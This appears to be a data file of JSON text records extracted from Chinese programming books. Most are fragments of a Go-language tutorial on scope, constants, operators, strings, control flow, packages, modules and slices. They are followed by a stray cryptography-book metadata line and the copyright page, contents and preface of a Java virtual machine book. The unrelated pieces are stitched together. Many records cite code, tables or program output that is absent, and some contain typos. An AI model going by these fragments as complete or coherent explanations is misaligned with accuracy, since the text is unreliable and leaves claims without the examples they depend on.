    {"text": "■ 在函数内声明的常量或变量标识符的范围从声明语句的末尾开始，到最内层包含块的末尾结束。 ■ 在函数内声明的类型标识符的范围从标识符开始，到最内层包含块的末尾结束。"},
    {"text": "这样做是因为Go语言中必须使用所有被声明的变量，但有时并不需要使用从一个函数得到的所有返回值。 Go语言有个强制规定，在函数内一定要使用全部声明的变量，若存在未使用的变量，则代码将编译失败。"},
    {"text": "上面代码中全局变量x未使用不会影响程序的编译，但如果去掉变量y后面的注释符，则编译不通过，因为变量y没有使用，这个规则在Go语言中是强制性的。"},
    {"text": "如果不直接使用包里的函数，而只是调用包中的init()函数，或者调试代码时去掉了对某些包的功能使用，可以添加一个下画线标识符“_”来作为这个包的名字，从而避免编译失败。"},
    {"text": "并行赋值也用于当一个函数返回多个返回值时，比如下面的val和错误err是通过调用Func1()函数同时得到的： 对于布尔值，好的命名能够很好地提升代码的可读性，例如以is或者Is开头的isSorted、isFinished、isVisible，使用这样的命名能够在阅读代码时，获得阅读正常语句一样的良好体验，例如标准库中的unicode.IsDigit(ch)。"},
    {"text": "在Go语言中，指针属于引用类型，其他的引用类型还包括切片、字典和通道，如果传递引用类型参数或者赋值给引用类型变量，原始数据有改动时它们也会发生变化。"},
    {"text": "执行go tool compile命令，可以看到上面代码中 &x发生了逃逸，x被储存在堆中。 Go编译器会做逃逸分析，所以由Go的编译器决定在哪里（堆或栈）分配内存，保证程序的正确性。"},
    {"text": "2.2.2 零值（nil） 当一个变量被var声明之后，如果没有为其明确指定初始值，Go语言会自动初始化其值为此类型对应的零值，见表2-7。 表2-7 零值表 对其他类型的零值，特别是复合类型的零值，Go语言会自动递归地将每一个元素初始化为其类型对应的零值。"},
    {"text": "无类型常量具有默认类型，该类型是在需要类型化值的上下文中隐式转换常量的类型，例如，在简式声明中，i：=0没有显式类型。 无类型常量的默认类型分别是bool，rune，int，float64，complex128或string，具体取决于它是布尔值、字符、整数、浮点数、复数还是字符串常量。"},
    {"text": "一个没有指定类型的常量在使用时，会根据其使用环境而推断出它所需要具备的类型。 换句话说，未定义类型的常量会在必要时根据上下文来获得相关类型。"},
    {"text": "2.3.2 iota iota比较特殊，可以认为它是一个可被编译器修改的常量，在每一个const关键字出现时被重置为0，然后在下一个const出现之前，每出现一次iota，其所代表的数字就会自动加1。"},
    {"text": "所以a=0, b=1, c=2可以简写为如下形式： 注意： 常量a, b, c分别为0, 8, 8，新的常量b声明后，iota不再向下赋值，后面常量如果没有赋值，则继承上一个常量值。"},
    {"text": "程序输出： 在这个程序中，a的值是5并且a在语法上是泛化的（它既可以表示浮点数5.0，也可以表示整数5，甚至可以表示没有虚部的复数5+0i），因此a可以赋值给任何与之类型兼容的变量。"},
    {"text": "它有一个整数部分、一个小数点、一个小数部分和一个指数部分。 整数和小数部分包括十进制数字，指数部分是e或E，后跟可选的带符号的十进制指数。"},
    {"text": "如下所示： 4.Rune字面量（Rune literals） Rune字面量是标识Unicode代码点的整数值。 Rune字面量表示用单引号括起来的一个或多个字符，如'x'或'\\n'。"},
    {"text": "例如，文字'a'包含表示文字a的单个字节，Unicode U+0061，值为0x61，而'ä'包含两个字节（0xc3 0xa4），表示文字a-dieresis，U+00E4，值为0xe4。"},
    {"text": "因此\\377和\\ xFF表示单个字符值0xFF=255的字节，而ÿ，\\u00FF，\\U000000FF和\\xc3 \\xbf表示字符U+00FF与UTF-8编码的两个字节0xc3 0xbf。"},
    {"text": "如下所示： 2.4 运算符 2.4.1 内置运算符 Go语言运算符（operators）见表2-8。 表2-8 运算符 可以把上面的运算符分为下面几类： ■ 算术运算符 ■ 关系运算符 ■ 逻辑运算符 ■ 位运算符 ■ 赋值运算符 ■ 其他运算符 1.Go语言的算术运算符 算术运算符应用于数值类型，并产生与第一个操作数相同类型的结果。"},
    {"text": "表2-10 整数运算示例 2.Go语言的关系运算符 关系运算符见表2-11。 表2-11 关系运算符 3.Go语言的逻辑运算符 逻辑运算符见表2-12。 表2-12 逻辑运算符 4.Go语言的位运算符 位运算符见表2-13。"},
    {"text": "表2-14 位运算示例 5.Go语言的赋值运算符 赋值运算符见表2-15。 表2-15 赋值运算符 （续） 6.Go语言的其他运算符 其他运算符见表2-16。"},
    {"text": "乘法运算符优先级最高，然后是加法运算符、比较运算符、&&（逻辑AND），最后是 ||（逻辑OR），见表2-17，优先级数字越大表示优先级越高。"},
    {"text": "表2-17 运算符优先级 当然，可以通过使用括号来临时提升某个表达式的整体运算优先级。 也推荐使用括号这种方式来表明运算优先级，这样可以减少代码中的错误。"},
    {"text": "对于整数和浮点数，可以使用一元运算符++（递增）和--（递减），但只能用于后缀，例如： i++->i+=1->i=i+1 i--->i-=1->i=i-1 同时，变量带有++和--的形式只能作为语句，而非表达式，因此n=i++这种写法是错误的。"},
    {"text": "函数rand.Float32和rand.Float64返回[0.0，1.0)区间的伪随机数，其中包括0.0但不包括1.0。 函数rand.Intn返回[0，n)区间的伪随机数。 可以使用rand.Seed(value)函数来提供伪随机数的生成种子，一般情况下都会使用当前时间（纳秒）作自变量。"},
    {"text": "（1）双引号：字符串使用双引号括起来，其中相关的转义字符将被替换。 例如： 输出： （2）反引号：字符串使用反引号括起来，其中相关的转义字符不会被替换。 例如： 输出： 双引号中的转义字符被替换，而反引号中原生字符串中的 \\n会被原样输出。"},
    {"text": "Go语言中的string类型是一种值类型，存储的字符串是不可变的，如果要修改string的内容，需要将string转换为[]byte或[]rune，并且修改后的string内容是重新生成的。"},
    {"text": "■ 字符串str的第1个字节：str[0] ■ 第i个字节：str[i-1] ■ 最后1个字节：str[len(str)-1] 需要注意的是，Go语言代码使用UTF-8编码，同时标识符也支持Unicode字符。"},
    {"text": "里面的字符串都是不可变的，每次运算都会产生一个新的字符串，所以会产生很多临时的字符串，不仅没有用，还会给垃圾回收带来额外的负担，所以性能比较差。"},
    {"text": "2.mt.Sprintf() 内部使用[]byte实现，不像直接使用运算符会产生很多临时的字符串，但是内部的逻辑比较复杂，有很多额外的判断，还用到了接口，所以性能一般。 3.strings.Join() Join会先根据字符串数组的内容，计算出一个拼接之后的长度，然后申请对应大小的内存，一个一个字符串填入，在已有一个数组的情况下，这种效率会很高，但是构造一个本来没有的数据的代价也不小。 4.bytes.Buffer 这个比较理想，可以当成可变字符使用，对内存的增长也有优化，如果能预估字符串的长度，还可以用buffer.Grow()接口来设置capacity。"},
    {"text": "strings.Builder同样也提供了Grow()来支持预定义容量。 当可以预定义需要使用的容量时，strings.Builder就能避免因扩容而产生新的切片。 strings.Builder是非线程安全的，性能和bytes.Buffer相差无几。"},
    {"text": "2.5.3 字符串处理 标准库中有四个包对字符串处理尤为重要：bytes、strings、strconv和unicode包。 strings包提供了许多如字符串的查询、替换、比较、截断、拆分和合并等功能。"},
    {"text": "判断是否以某字符串开头/结尾： 字符串分割： 返回子串索引： 字符串连接： 字符串替换： 字符串大小写转换： 统计某个字符在字符串中出现的次数： 判断字符串的包含关系： 2.6 流程控制 2.6.1 switch语句 switch语句提供多路执行，将表达式或类型说明符与“switch”内的“case”进行比较，以确定要执行的分支。"},
    {"text": "switch有两种形式：表达式型switch和类型型switch。 在表达式型switch中，包含与switch表达式的值进行比较的表达式。 在类型型switch中，包含与switch表达式的类型进行比较的类型。"},
    {"text": "在switch或default子句中，最后一个非空语句可以是“fallthrough”语句，以指示应该从该子句的末尾流向下一个子句的第一个语句，无论下一个子句的条件是否满足。"},
    {"text": "例如： switch语句的第二种形式是不提供任何被判断的值（实际上默认为判断是否为true），然后在每个case分支中测试不同的条件。 当任一分支的测试结果为true时，该分支的代码会被执行，此时语句（无表达式）相当于switch true。 例如： switch语句的第三种形式是包含一个初始化语句： 例如： val1和val2可以是同类型的任意值。"},
    {"text": "如果在执行完每个分支的代码后，还希望继续执行后续分支的代码，可以使用fallthrough关键字来达到目的。 fallthrough强制执行后面的下一条分支代码。"},
    {"text": "例如： 2.6.2 select语句 select是Go语言中的一个控制结构，类似于switch语句，主要用于处理异步通道操作，所有情况都会涉及通信操作。 因此select会监听分支语句中通道的读写操作，当分支中的通道读写操作为非阻塞状态（即能读写）时，将会触发相应的动作。 select语句会选择一组可以发送或接收操作中的一个分支继续执行。"},
    {"text": "■ 如果没有可运行的分支，且有default语句，那么就会执行default的动作。 ■ 如果没有可运行的分支，且没有default语句，select将阻塞，直到某个分支可以运行。"},
    {"text": "程序输出： 2.6.3 for语句 for语句是最简单的基于计数器的循环迭代，基本形式为： 这三部分组成循环的头部，相互之间使用分号隔开，但并不需要括号将它们括起来。"},
    {"text": "要注意的是，val始终为集合中对应索引的值的副本，因此它一般只具有只读性质，对它所做的任何修改都不会影响到集合中原有的值（如果val为指针，则会产生指针的副本，依旧可以修改集合中的原值）。"},
    {"text": "例如： 一个字符串是Unicode编码的字符集合，因此也可以用for-range结构迭代字符串： 程序输出： 2.6.5 if语句 if语句由布尔表达式后紧跟一个或多个语句组成。"},
    {"text": "例如： 2.6.6 break语句 一个break的作用范围为该语句出现后的最内部的结构，它可以用于任何形式的for循环（计数器、条件判断等）。 但在switch或select语句中，break语句的作用是跳过整个代码块，执行switch或select外面后续的代码。"},
    {"text": "2.6.7 continue语句 关键字continue忽略剩余的循环体而直接进入下一次循环的过程，但不是无条件执行下一次循环，执行之前依旧需要满足循环的判断条件。"},
    {"text": "例如： 2.6.8 标签 for、switch或select语句都可以配合标签（label）形式的标识符使用，即某一行第一个以冒号（:）结尾的单词（Gofmt会将后续代码自动移至下一行）。"},
    {"text": "未知 第3章 作用域 3.1 关于作用域 3.1.1 局部变量与全局变量 （1）局部变量 Go语言中，在函数体内或代码块内声明的变量称为局部变量，它们的作用域只在代码块内，参数和返回值变量也是局部变量。 （2）全局变量 Go语言中，在函数体外声明的变量称为全局变量，它们的作用域都是全局的（在本包范围内）。"},
    {"text": "（3）简式变量 Go语言中使用 :=声明的变量，一般也是局部变量，如果新局部变量Ga与同名已定义变量（即全局变量Ga）不在一个作用域中，Go语言会在此作用域新定义这个局部变量Ga，遮盖住全局变量Ga。"},
    {"text": "代码块是包裹在一对花括号{}内部的声明和语句，并且是可嵌套的，在代码中是直观的、显式的（explicit），比如：函数的函数体、for循环的循环体等。"},
    {"text": "闭包函数中，GetGa()返回的匿名函数赋值给b，每次执行b()，Ga的值都存在内存中，下次执行b()的时候，取b()上次执行后Ga的值，而不是全局变量Ga的值，这就是闭包函数可以使用包含它的函数内的变量的原因，因为闭包作为代码块一直存在，所以每次执行都是在上次基础上运行。"},
    {"text": "（2）:=简式声明会屏蔽所有上层代码块中的变量（常量），建议使用开发约定来减少变量被屏蔽的可能，如对常量使用全部大写，对局部变量涵盖命名等。"},
    {"text": "简式声明变量只能在函数内部出现，它会覆盖函数外的同名全局变量。 简式声明 :=左侧只有一个变量的情况下不能重复声明一个变量，有多个变量时是允许的，但这些变量中至少要有一个新的变量。"},
    {"text": "在设计Go语言时，设计者们也希望确保它不是过于以ASCII码为中心，这意味着需要从7位ASCII码的范围来扩展标识符的空间。 所以Go语言标识符规定必须是Unicode定义的字母或数字，标识符是一个或多个Unicode字母和数字的序列，标识符中的第一个字符必须是Unicode字母。"},
    {"text": "否则就遵循“小驼峰式命名法”，即第一个单词的首字母小写，其余单词的首字母大写。 单词之间不以空格断开或连接号（-）、下画线（_）连接，第一个单词首字母采用大写字母，后续单词的首字母亦用大写字母，例如：FirstName、LastName。 每一个单词的首字母采用大写字母的命名格式，被称为“Pascal命名法”，源于Pascal语言的命名惯例，也有人称之为“大驼峰式命名法”（Upper Camel Case），为驼峰式大小写的子集。"},
    {"text": "操作符或标点符号++、--、)、]或}之后等都可以使用分号，但是往往会省略，LiteIDE编辑器会在保存.go文件时自动滤掉这些分号，所以在Go语言开发中一般不过多关注分号的使用。"},
    {"text": "3.2.3 注释 在Go语言中，注释有两种形式： （1）行注释：使用双斜线//开始，一般后面紧跟一个空格。 行注释是Go语言中最常见的注释形式，在标准包中，一般都采用行注释，建议采用这种方式来进行注释，即使需要多行也尽量用这种方式。"},
    {"text": "注释可以是单行或多行，甚至可以使用doc.go文件来专门保存包注释。 每个包只需要在一个.go文件的package关键字上面对包进行注释，两者之间没有空行。"},
    {"text": "对变量、函数、结构体、接口等的注释直接加在声明前，注释与声明之间没有空行。 例如： 函数或方法的注释需要以函数名开始，且两者之间没有空行，示例如下： 注释中需要预格式化的部分，直接加空格缩进即可，示例如下： 在函数、方法，结构体或者包注释前面标注“Deprecated:”表示不建议使用，示例如下： 在注释中，还可以插入空行，示例如下："},
    {"text": "未知 第4章 代码结构化与项目管理 4.1 包（package） 4.1.1 包的概念 Go语言使用包（package）来组织管理代码，包是结构化代码的一种方式。 和其他语言如Java类似，Go语言中包的主要作用是把功能相似或相关的代码组织在一起，以方便查找和使用。 在Go语言中，每个.go文件都必须归属于某一个包，每个.go文件都可有init()函数。"},
    {"text": "如下所示： 每个目录下面可以有多个.go文件，这些文件只能属于同一个包，否则编译时会报错。 同一个包下的不同.go文件相互之间可以直接引用变量和函数，所有这些文件中定义的全局变量和函数不能重名。"},
    {"text": "Go语言不强制要求包的名称和文件所在目录名称相同，但是这两者最好保持相同，否则很容易引起歧义。 因为导入包的时候，会使用目录名作为包的路径，而在代码中使用时，却要使用包的名称。"},
    {"text": "当某个包被导入时，如果该包还导入了其他的包，那么会先将其他包导入进来，再对这些包中的包级常量和变量进行初始化，接着执行init()函数（如果有的话），依此类推。 当所有被导入的包都加载完毕，就会对main包中的包级常量和变量进行初始化，然后执行main包中的init()函数，最后执行main()函数。 Go语言中init()函数常用于包的初始化，该函数是Go语言的一个重要特性，有下面的特征： ■ init函数是用于程序执行前进行包的初始化的函数，例如初始化包里的变量等。 ■ 每个包可以拥有多个init函数。 ■ 包的每个源文件也可以拥有多个init函数。 ■ 同一个包中多个init()函数的执行顺序不定。 ■ 不同包的init()函数按照包导入的依赖关系决定该函数的执行顺序。 ■ init()函数不能被其他函数调用，其在main函数执行之前，自动被调用。"},
    {"text": "例如标准包中定义的big包：package big，导入时语句为：import \"math/big\"，导入时源代码在$GOROOT目录下的src/math/big目录中。 程序代码使用big.Int时，big指的才是.go文件中定义的包名称。"},
    {"text": "import语句一般放在包名定义的下面，导入包示例如下： 导入多个包的常见的方式是： 调用导入的包函数的一般方式： 下面介绍三种特殊的import方式。"},
    {"text": "点操作的含义是某个包导入之后，在调用这个包的函数时，可以省略前缀的包名，如这里可以写成Println(\"Hello World!\")，而不是fmt.Println(\"Hello World!\")。"},
    {"text": "4.1.5 从GitHub安装包 如果想安装GitHub上的项目到本地计算机，可打开终端执行： 现在这台计算机上的其他Go应用程序也可以通过导入路径\"github.com/ffhelicopter/tmm\" 来使用。"},
    {"text": "开发中一般这样导入： Go对包的版本管理不是很友好，至少在go1.10前是如此，不过现在有些第三方项目做得不错，有兴趣的读者可以了解一下（glide、godep、govendor）。"},
    {"text": "4.1.6 导入外部安装包 如果要在应用中使用一个或多个外部包，可以使用go install在本地计算机上安装它们。 go install是自动包安装工具，如需要将包安装到本地，它会从远端仓库下载包，完成检出、编译和安装。"},
    {"text": "如果想使用https://github.com/gocolly/colly这种托管在Google Code、GitHub和Launchpad等代码网站上的包，可以通过如下命令安装：Go install github.com/gocolly/colly。 将一个名为github.com/gocolly/colly的包安装在$GoPATH/pkg/目录下。"},
    {"text": "go install/build用来编译包和其依赖的包。 区别：go build只对main包有效，在当前目录编译生成一个可执行的二进制文件（依赖包生成的静态库文件放在$GOPATH/pkg）。 go install一般生成静态库文件，放在$GOPATH/pkg目录下，文件扩展名为a。 如果为main包，运行Go build则会在$GOPATH/bin生成一个可执行的二进制文件。"},
    {"text": "为了进行一个项目，会在$GOPATH目录下的src目录中，新建立一个项目的主要目录，比如作者写的一个Web项目《使用Gin快速搭建Web站点以及提供RESTful接口》。"},
    {"text": "同时也在文件中导入了两个自定义包： 上面的目录结构是一般项目的目录结构，基本上可以满足单个项目开发的需要。 如果需要构建多个项目，可按照类似的结构，分别建立不同的项目目录。"},
    {"text": "图4-1 包文档 4.2.3 Go程序的编译 在Go语言中，和编译有关的命令主要是go run，go build，go install这三个命令。 go run只能作用于main包文件，先运行compile命令编译生成.a文件，然后链接命令生成最终可执行文件并运行程序，此过程中产生的是临时文件，在go run退出前会删除这些临时文件（含.a文件和可执行文件）。"},
    {"text": "go run命令在第二次执行的时候，如果发现导入的代码包没有发生变化，则不会再次编译这个导入的代码包，而是直接进行链接生成最终可执行文件并运行程序。"},
    {"text": "go install用于编译并安装指定的代码包及它们的依赖包，并且将编译后生成的可执行文件放到bin目录下（$GOPATH/bin），编译后的包文件放到当前工作区的pkg的平台相关目录下。 go build用于编译指定的代码包以及它们的依赖包。"},
    {"text": "使用go build时有一个地方需要注意，对外发布编译文件时如果不希望被人看到源代码，可使用go build-ldflags命令，设置编译参数-ldflags \"-w-s\" 再编译后发布。"},
    {"text": "可以通过设置环境变量GO111MODULE来开启或关闭模块支持，它有三个可选值：off、on、auto，默认值是auto。 （1）GO111MODULE=off 无模块支持，go会从GOPATH和vendor文件夹寻找包。 （2）GO111MODULE=on 模块支持，go会忽略GOPATH和vendor文件夹，只根据go.mod下载依赖。 （3）GO111MODULE=auto 在 $GOPATH/src外面且根目录有go.mod文件时，开启模块支持。"},
    {"text": "运行命令go help mod，可以显示mod的操作子命令，主要是init、edit、tidy。 命令含义： download 下载依赖的module到本地cache edit 编辑go.mod文件 grap h 打印模块依赖图 init 在当前文件夹下初始化一个新的module, 创建go.mod文件 tidy 增加丢失的module，去掉未使用的module vendor 将依赖复制到vendor下 verify 校验依赖 wh y 解释为什么需要依赖 为了使用modules来管理项目，可以按以下几个步骤来操作： （1）首先设置GO111MODULE，这里设置为auto。"},
    {"text": "（2）考虑和原来GOPATH有所隔离，新建立一个目录D:\\gomodules来存放modules管理的项目。 （3）在D:\\gomodules下建立ind项目，建立对应的目录D:\\gomodules\\ind。 （4）在ind目录中，编写该项目的主要文件main.go，如下所示： 初次使用modules包管理某个项目依赖时需要运行init命令初始化： D:\\gomodules\\ind>go mod init ind go:creating new go.mod:module ind 可以在ind目录中看到新生成了一个文件go.mod，这个modules名字叫ind。"},
    {"text": "由于golang.org/x中的所有包在github.com/golang也有一份，并且一般访问github.com/golang是正常的，所以这时使用replace命令将github.com/golang代替golang.org/x，保持两边版本信息一致。"},
    {"text": "所以需要重复运行go mod tidy，如果出错了就按照上面的方法继续使用replace，直到能正常运行go mod tidy命令。 replace命令中的=golang.org/x/net@v是指旧版本，也是指需要替换的目标版本，后面的=github.com/golang/net@v才是新版本，也是包的来源： 当go mod tidy命令成功运行后，可以看到在ind目录下面多了两个文件，分别是go.mod和go.sum。 go.mod文件如下所示： go.mod文件是可以通过require、replace和exclude语句使用的精确软件包集。"},
    {"text": "未知 第5章 复合数据类型 5.1 数组（array） 5.1.1 数组定义 数组是具有相同唯一类型的一组已编号且长度固定的数据项序列（这是一种同构的数据结构）。"},
    {"text": "5.1.2 数组声明与使用 在Go语言中，可以定义一维数组或者多维数组。 一维数组声明以及初始化常见方式如下： 数组在声明时需要确定长度，但是也可以采用上面不定长数组的方式声明，程序在初始化时会自动确定数组的长度。"},
    {"text": "而arrRoom和arrBed这两个数组的所有元素这时都为0，这是因为它们的每个元素都是一个整型值，当声明数组时所有的元素都会被自动初始化为默认值0。"},
    {"text": "例如： 程序输出： 从上面代码结果可以看到，new([5]int)创建的是数组指针，arr其实和arr1指向同一地址，因而修改arr1时arr同样也生效。"},
    {"text": "数组元素可以通过索引（下标）来读取或者修改，索引从0开始，第一个元素索引为0，第二个元素索引为1，以此类推（数组以0开始在所有类C语言中是相似的）。"},
    {"text": "另外，若数组元素类型支持“==”或“!=”操作符，那么数组也支持此操作，但如果数组类型不一样则不支持（需要长度和数据类型一致，否则编译不通过）。"},
    {"text": "如： 5.2 切片（slice） 5.2.1 切片介绍 切片（slice）是对底层数组一个连续片段的引用（该数组称为相关数组，通常是匿名的），所以切片是一个引用类型（和数组不一样）。"},
    {"text": "切片也可以用类似数组的方式初始化： 这样就创建了一个长度为5的切片。 也可以使用make()函数来创建一个切片： 也可以简写为slice1 :=make([]type, len)，这里len是数组的长度并且也是slice的初始长度。"},
    {"text": "如果切片取值时索引值大于长度会导致异常发生，即使容量远远大于长度也没有用，如下面代码所示： 程序输出： 5.2.2 切片重组（reslice） 通过改变切片长度得到新切片的过程称为切片重组（reslicing），做法如下：slice1=slice1[0:end]，其中end是新的末尾索引（即长度）。"},
    {"text": "如果忘了这个行为的话，在程序内分配占用大量内存的临时切片，然后在这个临时切片基础上创建只引用一小部分原有数据的新切片时，会导致难以预期的内存使用结果。"},
    {"text": "例如： 程序输出： 当需要向切片末尾追加数据时，可以使用内置函数append()： append()函数将0个或多个具有相同类型S的元素追加到切片s后面并且返回新的切片；"},
    {"text": "append()函数操作如果导致分配新的切片来保证已有切片元素和新增元素的存储，也就是返回的切片可能已经指向一个不同的相关数组了，那么新的切片已经和原来的切片没有任何关系，即使修改了数据也不会同步。 append()函数操作后，有没有生成新的切片需要看原有切片的容量是否足够。"},
    {"text": "key可以是任意能使用==或者 !=操作符比较的类型，比如string、int、float。 所以数组、函数、字典、切片和结构体不能作为key（含有数组切片的结构体不能作为key，只包含内建类型的struct是可以作为key的），但是指针和接口类型可以。"},
    {"text": "未知 第6章 type关键字 type关键字在Go语言中很重要，例如定义结构体、接口、类型别名等，还可以自定义类型。自定义类型由一组值以及作用于这些值的方法组成，类型一般有类型名称，往往从现有类型组合通过type关键字构造出一个新的类型。 6.1 type自定义类型 在Go语言中，基础数据类型见表6-1。 表6-1 基础数据类型 使用type关键字可以定义自己的类型，如可以使用type定义一个新的结构体，但也可以把一个已经存在的类型作为基础类型而定义新类型，然后就可以在代码中使用新的类型名字，这称为自定义类型。例如： IZ完全是一种新类型，然后可以使用下面的方式声明变量。 可以看到int是变量a的底层类型，这也使得它们之间存在相互转换的可能。 如果有多个类型需要定义，可以使用如下方式： 在type IZ int中，IZ就是在int类型基础上构建的新名称，这称为自定义类型。然后就可以使用IZ来操作int类型的数据。使用这种方法定义之后的类型可以拥有更多的特性，但是在类型转换时必须显式转换。 每个值都必须在经过编译后属于某个类型（编译器必须能够推断出所有值的类型），因为Go语言是一种静态类型语言。在必要以及可行的情况下，一种类型的值可以被转换成另一种类型的值。由于Go语言不存在隐式类型转换，因此所有的转换都必须显式说明，就像调用一个函数一样（类型在这里的作用可以看作是一种函数）。例如： 类型B的值=类型B(类型A的值) type TZ int中，新类型TZ不会拥有原基础类型所附带的方法，如下面代码所示。 编译错误信息： 通过type关键字在原有类型基础上构造出一个新类型，需要针对新类型来重新创建新方法。 6.2 type定义类型别名 类型别名在Go1.9版本中实现，可将别名类型和原类型这两个类型视为完全一致，下面这种写法其实是定义了int类型的别名： 而type IZ int其实是定义了新类型，这和类型别名完全不是一个含义。自定义类型不会拥有原类型附带的方法，而别名拥有原类型附带的方法。下面举两个例子。 如果是类型别名，则完整拥有原类型的方法，如下所示。 程序输出： 结构化的类型没有真正的值，它使用nil作为默认值（在Objective-C中是nil，在Java中是null，在C和C++中是NULL或0）。值得注意的是，Go语言中不存在类型继承。 函数也是一个确定的类型，就是以函数签名作为类型。这种类型的定义如下： 可以在函数体中的某处返回使用类型为typeFunc的变量varfunc： 自定义类型不会继承原有类型的方法，但接口方法或组合类型的内嵌元素则保留原有的方法。例如： Cover"},
    {"text": "index ［Ｇｅｎｅｒａｌ Ｉｎｆｏｒｍａｔｉｏｎ］ ｉｎｆｏ：本信息由Ｏｎｌｙｏｗｎ云端版生成 图书名：深入浅出密码学 常用加密技术原理与应用 ＳＳ：１３１１５６４４ 页码：３５１ 本书总页数：３６４ ＢｏｏｋＵｒｌ：ｈｔｔｐ：／／ｂｏｏｋ．ｄｕｘｉｕ．ｃｏｍ／ｂｏｏｋＤｅｔａｉｌ．ｊｓｐ？"},
    {"text": "华章原创精品 深入理解Java虚拟机：JVM高级特性与最佳实践（第3版） 周志明 著 ISBN：978-7-111-64124-7 本书纸版由机械工业出版社于2019年出版，电子版由华章分社（北京华章图文信息有限公司，北京奥维博世图书发行有限公司）全球范围内制作与发行。 版权所有，侵权必究 客服热线：+ 86-10-68995265 客服信箱：service@bbbvip.com 官方网址：www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书（微信号：hzebook）"},
    {"text": "目录 前言 致谢 第一部分 走近Java 第1章 走近Java 1.1 概述 1.2 Java技术体系 1.3 Java发展史 1.4 Java虚拟机家族 1.4.1 虚拟机始祖：Sun Classic/Exact VM 1.4.2 武林盟主：HotSpot VM 1.4.3 小家碧玉：Mobile/Embedded VM 1.4.4 天下第二：BEA JRockit/IBM J9 VM 1.4.5 软硬合璧：BEA Liquid VM/Azul VM 1.4.6 挑战者：Apache Harmony/Google Android Dalvik VM 1.4.7 没有成功，但并非失败：Microsoft JVM及其他 1.4.8 百家争鸣 1.5 展望Java技术的未来 1.5.1 无语言倾向 1.5.2 新一代即时编译器 1.5.3 向Native迈进 1.5.4 灵活的胖子 1.5.5 语言语法持续增强 1.6 实战：自己编译JDK 1.6.1 获取源码 1.6.2 系统需求 1.6.3 构建编译环境 1.6.4 进行编译 1.6.5 在IDE工具中进行源码调试 1.7 本章小结 第二部分 自动内存管理 第2章 Java内存区域与内存溢出异常 2.1 概述 2.2 运行时数据区域 2.2.1 程序计数器 2.2.2 Java虚拟机栈 2.2.3 本地方法栈 2.2.4 Java堆 2.2.5 方法区 2.2.6 运行时常量池 2.2.7 直接内存 2.3 HotSpot虚拟机对象探秘 2.3.1 对象的创建 2.3.2 对象的内存布局 2.3.3 对象的访问定位 2.4 实战：OutOfMemoryError异常 2.4.1 Java堆溢出 2.4.2 虚拟机栈和本地方法栈溢出 2.4.3 方法区和运行时常量池溢出 2.4.4 本机直接内存溢出 2.5 本章小结 第3章 垃圾收集器与内存分配策略 3.1 概述 3.2 对象已死？"},
    {"text": "前言 Java是目前用户最多、使用范围最广的软件开发技术，Java的技术体系主要由支撑Java程序运行的虚拟机、提供各开发领域接口支持的Java类库、Java编程语言及许许多多的第三方Java框架（如Spring、MyBatis等）构成。 在国内，有关Java类库API、Java语言语法及第三方框架的技术资料和书籍非常丰富，相比而言，有关Java虚拟机的资料却显得异常贫乏。 这种状况很大程度上是由Java开发技术本身的一个重要优点导致的：在虚拟机层面隐藏了底层技术的复杂性以及机器与操作系统的差异性。 运行程序的物理机千差万别，而Java虚拟机则在千差万别的物理机上面建立了统一的运行平台，实现了在任意一台Java虚拟机上编译的程序，都能在任何其他Java虚拟机上正常运行。 这一极大的优势使得Java应用的开发比传统C/C++应用的开发更高效快捷，程序员可以把主要精力放在具体业务逻辑，而不是放在保障物理硬件的兼容性上。 通常情况下，一个程序员只要了解了必要的Java类库API、Java语法，学习适当的第三方开发框架，就已经基本满足日常开发的需要了。"},
    {"text": "毫无疑问，要满足10000个人同时使用，需要更高性能的物理硬件，但是在绝大多数情况下，提升硬件性能无法等比例提升程序的运行性能和并发能力，甚至有可能对程序运行状况没有任何改善。"},
    {"text": "但是，如果用于生产开发，尤其是大规模的、企业级的生产开发，就迫切需要开发人员中至少有一部分人对虚拟机的特性及调节方法具有很清晰的认识。"},
    {"text": "本书面向的读者 （1）使用Java技术体系的中、高级开发人员 Java虚拟机作为中、高级开发人员修炼的必要知识，有着较高的学习门槛，本书可作为学习虚拟机的教材。"},
    {"text": "（2）系统调优师 系统调优师是最近几年才兴起并迅速流行起来的职业，本书中的大量案例、代码和调优实战将会对系统调优师的日常工作有直接的参考作用。"},
    {"text": "（3）系统架构师 保障系统的性能、并发和伸缩等能力是系统架构师的主要职责之一，而这部分与虚拟机的运作密不可分，本书可以作为他们制定应用系统底层框架的参考资料。"},
    {"text": "各个部分之间基本上是互相独立的，没有必然的前后依赖关系，读者可以从任何一个感兴趣的专题开始阅读，但是每个部分各个章节间则有先后顺序。"},
    {"text": "这里并没有假定所有读者都在Java领域具备特别专业的技术水平，因此会在保证逻辑完整、描述准确的前提下，尽量用通俗的语言和案例去讲述虚拟机中与开发关系最为密切的内容。 但是，本书毕竟是在探讨虚拟机的工作原理，不可避免地需要读者有一定的技术基础，而且本书的读者定位是中、高级程序员群体，对于一些常用的开发框架、Java类库API和Java语法等基础知识点，将假设读者已有所了解。 本书介绍的Java虚拟机并不局限于某一个特定发行商或者某一款特定虚拟机，只是由于OracleJDK/OpenJDK在市场占有率上的绝对优势，其中的HotSpot虚拟机不可避免地成为本书主要分析、讲解的对象，书中在涉及Java虚拟机自身实现相关的内容时，大多将以HotSpot虚拟机为目标对象来进行讲解。 但撰写本书的意图并不是去做HotSpot的源码导读或者解析，书中所讲述的内容多为Java虚拟机的通用原理，即使读者使用了HotSpot之外的其他Java虚拟机实现，也会有所收获。"},
    {"text": "最后，非常希望读者能跟随本书的讲解，把与实践相关的内容亲自验证一遍，其中用到的代码清单可以从华章图书的网站（ http://www.hzbook.com/ ）上下载。"},
    {"text": "语言约定 开始阅读本书之前，在语言和技术上先与读者建立如下约定： ·JDK从1.5版本开始，其官方的正式文档与宣传材料中的发行版本号启用了JDK 5、6、7……的新命名方式；"},
    {"text": "·由于版面原因，本书中的许多示例代码都没有遵循最优的程序编写风格，如使用的流没有关闭流、直接使用System.out输出日志等，请读者在阅读时注意这一点。"},
    {"text": "实际上BEA和Sun分别于2008年和2010年被Oracle公司收购，现在已经不存在这两个商标了，但是它们毫无疑问都是在Java领域中做出过卓越贡献的、值得程序员们纪念的先驱企业。"},
